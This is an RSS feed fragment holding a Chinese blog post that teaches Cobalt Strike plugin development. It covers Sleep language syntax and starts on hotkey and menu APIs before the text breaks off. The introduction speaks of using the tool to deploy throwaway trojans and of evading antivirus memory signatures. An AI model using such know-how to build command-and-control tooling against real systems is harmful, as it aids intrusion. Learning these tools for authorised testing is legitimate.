<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b0f7ebd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKjK9oBRsTUnCHJJUC1vwT32cibZZAv0bJ7B0F89gILvYmavggJWVbpgg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=cbc8090d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKM1al5Oc9hjNpjm58dic3XcP0U1phNtmCCw3mbsZSdnPMlbKdBAgZ3KA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=82b3b0f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKc45JevgkBXkICwlWXib9wgWmtfqjGVleZmfaF00bzf1IRKqS3JzNTHg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=46734a63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKqIZpNlFMN2iagsa4EB6SWIqUZibY3PTxoGbN5lxXrPnLv993JcA5ZnKw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f5e4b885&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKXaSEGibfLVNQ49NHBNCAWPMyMIdU4VRzBpydEADwKVsPH4O4PGlOI9Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=31159a03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKAYINuYJ9LHlW5MB6icBEp2QkfmyEMLocrZbFF9MNgibD6UibtOxe8NiaCA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0be96211&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKB9xZXg0YvnEM5ToGSffxOpGtZFmsfiaWGSlj1wTKzARJc6IUrG9HFXw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3c95a6e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKnia5TEwSLgLeEy14lEEnGsCf8GlQI0rGsQ9Lce8YFeogpTwClve1MGw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a57305b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKKpSKSDr1f5AYN71JZZ6k8CjhwgWMeEKZHVL0VsHa7MFT96Fibr7dWyw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=030e3498&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKdgibKRXicancAopghNeFvHW7NuAz6yiaYLZpP2CbXf7tQHtsHXK1C3eTA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3551f8a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKNqQj8BLlZtZuicMnTYnlgMkRz5NprEXV1FrYGhXknFYBia8Rjqdf7LxA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7177a793&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKpK4HtTcIuJRukLQOWByKpmZLt2Kvkh5EXHbsQXdia6dMxB5TksGzLAA%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247483853">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2d34be0e&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483853%26idx%3D1%26sn%3Dec50dbc0613813ff3d257bd6efb7c622">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 05 Jul 2023 23:58:00 +0800</pubDate>
    </item>
    <item>
      <title>[新年特刊-初二篇]CS插件开发</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483775&amp;idx=1&amp;sn=99f21e953cbe39245e819593d7b89486</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2023-01-23 18:19</span> <span style="display: inline-block;">内蒙古</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=06ef0c56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCciaVpLmxV7rMLCvBlIjFCaPYytCeQXoicUnlpricwMfvhGic7QiawiaegcNveZypqaAqpnHbxibMQ0JoBdQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n2" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">开章废话</span></h2><p cid="n3" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">cs的插件在日常的工作中相对来说并不常用，因为cs基本只能当</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">炮灰马</strong></span><span md-inline="plain" style="box-sizing: border-box;">上线的工具，主要是用cs过内存特征也太费劲了(菜狗难受)，我相信在每一个渗透狗的心中，每个能给cs木马过内存特征过卡巴的大佬都是渗透狗的大爹。所以基本上更多的操作自己也不会选择使用cs，所以只是总结一下算是查漏补缺吧</span></p><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">废话结束，正文开始</span></p><h2 cid="n5" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">语法基础</span></h2><p cid="n6" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">sleep按作者的说法是java平台下实现的的perl脚本语言。</span></p><pre spellcheck="false" lang="perl" cid="n7" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">java</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">jar</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sleep</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">.</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">jar</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">#打开console</span></span></pre><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">官方的语法在这里（</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="http://sleep.dashnine.org/manual/" target="_blank">http://sleep.dashnine.org/manual/</a></span><span md-inline="plain" style="box-sizing: border-box;">），有过python或其他语言基础的写的时候看一下再看下其他师傅写的脚本基本上没啥问题，稍微提几个注意的点</span></p><ul class="list-paddingleft-1" cid="n9" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n11" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">在console中用x可以计算表达式（x 3+4），用?可以得到表达式判断结果</span></p></li><li style="box-sizing: border-box;"><p cid="n13" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Sleep需要的语句之间需要有空格</span></p></li><li style="box-sizing: border-box;"><p cid="n15" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Sleep 的变量可以是java对象的引用</span></p></li><li style="box-sizing: border-box;"><p cid="n17" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">使用前无需声明变量。当变量不存在时，Sleep 使用 $null（空标量）赋值</span></p></li><li style="box-sizing: border-box;"><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">@号创建数组，%号创建字典,Sleep支持多维数组</span></p></li><li style="box-sizing: border-box;"><p cid="n21" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">$null 等于数字 0。作为字符串 $null 等于空字符串 &#34;&#34;。作为对象，$null 与 Java 值 null 相同。</span></p></li><li style="box-sizing: border-box;"><p cid="n23" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Perl支持8进制、16进制、2进制（0b），但Sleep只支持8进制（0开头）和16进制（0x开头）</span></p></li><li style="box-sizing: border-box;"><p cid="n25" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">字符串变量组合用双引号和$xx $ ，eg.</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><p style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">$flavor = &#34;mint chocolate chip&#34;; println(&#34;I love $flavor $+ !!!&#34;);</p></span></p></li><li style="box-sizing: border-box;"><p cid="n27" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">数字用计算符号比较（==,&gt;,&lt;,..），字符串用eq、ne等等比较，is用来比较引用</span></p></li><li style="box-sizing: border-box;"><p cid="n29" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">函数用sub声明</span></p></li><li style="box-sizing: border-box;"><p cid="n31" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">循环支持while、for、foreach</span></p></li><li style="box-sizing: border-box;"><p cid="n33" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">可以使用throw抛出异常，也可以使用try catch处理异常，&amp;getStackTrace 函数返回异常发生时的调用堆栈，&amp;warn 函数将错误消息传达给 Sleep。可以用assert关键字断言</span></p></li><li style="box-sizing: border-box;"><p cid="n35" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">使用inline定义内联子例程的宏，可以使用 &amp;pushl 在内联函数中创建一个新的本地作用域。然后，您可以放心地在本地范围内声明变量。在内联子例程完成之前，您必须使用 &amp;popl 处理局部作用域。</span></p></li></ul><pre spellcheck="false" lang="Perl" cid="n36" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">inline</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">swap</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(85, 85, 85);">pushl</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$a</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$1</span>, <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$b</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$2</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 255);">local</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;$temp&#39;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">$temp</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$b</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$b</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$a</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$a</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">$temp</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(85, 85, 85);">popl</span>();</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><ul class="list-paddingleft-1" cid="n37" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n39" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Sleep可以使用匿名函数</span></p></li></ul><pre spellcheck="false" lang="perl" cid="n40" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[{ <span style="box-sizing: border-box;color: rgb(85, 85, 85);">println</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Hello $1 $+ !&#34;</span>); } <span style="box-sizing: border-box;color: rgb(152, 26, 26);">:</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;World!&#34;</span>];</span></pre><p cid="n41" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">或使用lamba表达式</span></p><pre spellcheck="false" lang="perl" cid="n42" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">$closure</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">lambda</span>({</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">              <span style="box-sizing: border-box;color: rgb(85, 85, 85);">println</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;\$x is $x&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">           }, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">$x</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=&gt;</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">33</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$closure]</span>; </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">$closure[</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;$x&#39;</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;test!&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$closure]</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">println</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Accessing a value: &#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">.</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">$closure[</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;$x&#39;</span>]);</span></pre><ul class="list-paddingleft-1" cid="n43" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n45" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Sleep支持正则匹配</span></p></li><li style="box-sizing: border-box;"><p cid="n47" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">^String 等同于 [Class forName: &#34;java.lang.String&#34;]</span></p></li><li style="box-sizing: border-box;"><p cid="n49" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Sleep 可以从 Java 类路径中当前不存在的 jar 文件中动态导入包</span></p></li><li style="box-sizing: border-box;"><p cid="n51" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Sleep 可以将闭包转换为响应某些接口的匿名 Java 对象。这个对象是一个代理实例。解释器在将它们传递给 Java 时自动将闭包编组到代理实例。此功能目前仅适用于接口。对代理实例的 Java 方法调用会导致对闭包的调用。参数 $0 设置为方法名称。来自 Java 的参数被转换为标量 $1、$2 等。这一特性将在后续插件编写过程中频繁使用</span></p></li><li style="box-sizing: border-box;"><p cid="n53" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Sleep实现了文件IO、文件系统IO、网络IO和consoleIO、ThreadsIO</span></p></li></ul><h2 cid="n54" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">CS接口</span></h2><p cid="n55" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">一些cs插件开发的文章开头通用这里都介绍过了，看过的师傅可以直接往后划，看过之后对cs接口实现的功能有一个大概的印象，具体到调用函数时直接搜索函数名称查下参数就好</span></p><p cid="n56" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">cs函数的实现本质是对java代理实例的调用，第一个参数$0默认为方法名称，我们传入的参数$1,$2....是java方法所需的参数。</span></p><h3 cid="n57" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">通用</span></h3><ul class="list-paddingleft-1" cid="n58" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n60" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">快捷键</span></p></li></ul><pre spellcheck="false" lang="perl" cid="n61" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">bind</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">Ctrl</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">H</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(85, 85, 85);">show_message</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Hello World!&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><ul class="list-paddingleft-1" cid="n62" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n64" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">目录</span></p></li></ul><pre spellcheck="false" lang="perl" cid="n65" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">popup</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">pgraph</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(85, 85, 85);">menu</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&amp;Layout&#34;</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(85, 85, 85);">item</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&amp;Circle&#34;</span>    { <span style="box-sizing: border-box;color: rgb(85, 85, 